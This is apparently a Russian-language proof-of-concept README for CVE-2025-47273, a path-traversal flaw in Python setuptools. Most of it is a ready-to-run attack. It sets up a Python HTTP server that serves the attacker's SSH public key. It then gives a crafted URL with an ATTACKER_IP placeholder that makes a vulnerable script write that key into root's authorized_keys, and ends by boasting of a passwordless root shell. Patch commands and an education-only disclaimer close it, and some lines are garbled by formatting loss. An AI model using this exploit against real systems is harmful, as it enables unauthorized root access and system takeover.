
CVE-2025-47273 — PoC обхода пути в setuptools
Эксплойт (PoC) для уязвимости обхода пути в Python setuptools < 78.1.1.
Злоупотребляя функцией _download_url компонента PackageIndex, атакующий может записать произвольные файлы в любое место файловой системы — с привилегиями процесса, запускающего setuptools.
| Поле | Детали |
|---|
| 🎯 Цель | Python setuptools < 78.1.1 |
| 🐛 Класс ошибки | Обход пути (CWE-22) |
| 💥 Воздействие | Произвольная запись файлов |
| 📍 Вектор атаки | Вредоносный URL индекса пакетов |
| 🔍 Коренная причина | os.path.join() отбрасывает tmpdir, когда второй аргумент начинается с / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex с управляемым пользователем URL# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
Этот сервер отвечает на любой GET-запрос вашим открытым ключом — независимо от пути. setuptools запросит путь /USER/.ssh/authorized_keys, но получит содержимое вашего ключа.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Без пароля. Прямой root shell. 🔑
Версия 78.1.1 исправляет проблему.
| Менеджер пакетов | Команда |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Вручную | setuptools releases |
Данный код Proof of Concept (PoC) предоставляется только для образовательных целей и авторизованного тестирования на проникновение.